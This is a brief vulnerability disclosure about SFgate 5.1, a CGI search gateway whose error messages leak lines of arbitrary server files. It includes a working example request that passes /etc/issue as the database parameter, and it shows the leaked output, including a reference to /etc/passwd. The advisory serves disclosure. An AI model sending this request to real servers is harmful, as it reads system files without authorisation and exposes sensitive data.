Vendor:
http://ls6-www.cs.uni-dortmund.de/ir/projects/SFgate/index.html

Action: attempted to notify vendor with no response.

Description:
SFGATE gives sensitive information by allowing one to view a few lines of
text from a file via an error message.

It looks like a good attempt was made at stopping this but its still
an issue in my mind.

The current patch level of SFgate 5.1 is 11.

example
http://xxxxxx/cgi-bin/SFgate?test=help&database=/etc/issue

SFgate terminated

SFgate terminated with message

Error with /etc/issue: syntax error at /etc/issue line 2, near "Linux 5.0"
                               this is out of etc issue ----^



Please contact the webmaster.
This page was generated by SFgate 5.111.

It looks like an early attempt at filtering was made.

Similar error messages with earlier versions...

SFgate terminated

SFgate terminated with message

Error with /etc/passwd: Unrecognized character \241 at /etc/passwd line 41.

Please contact the webmaster.


This page was generated by SFgate 5.018.

Other versions were not so harsh on the Unrecognized chars revealing more.
As usual permission of the web server comes in to play.

krfinisterre@checkfree.com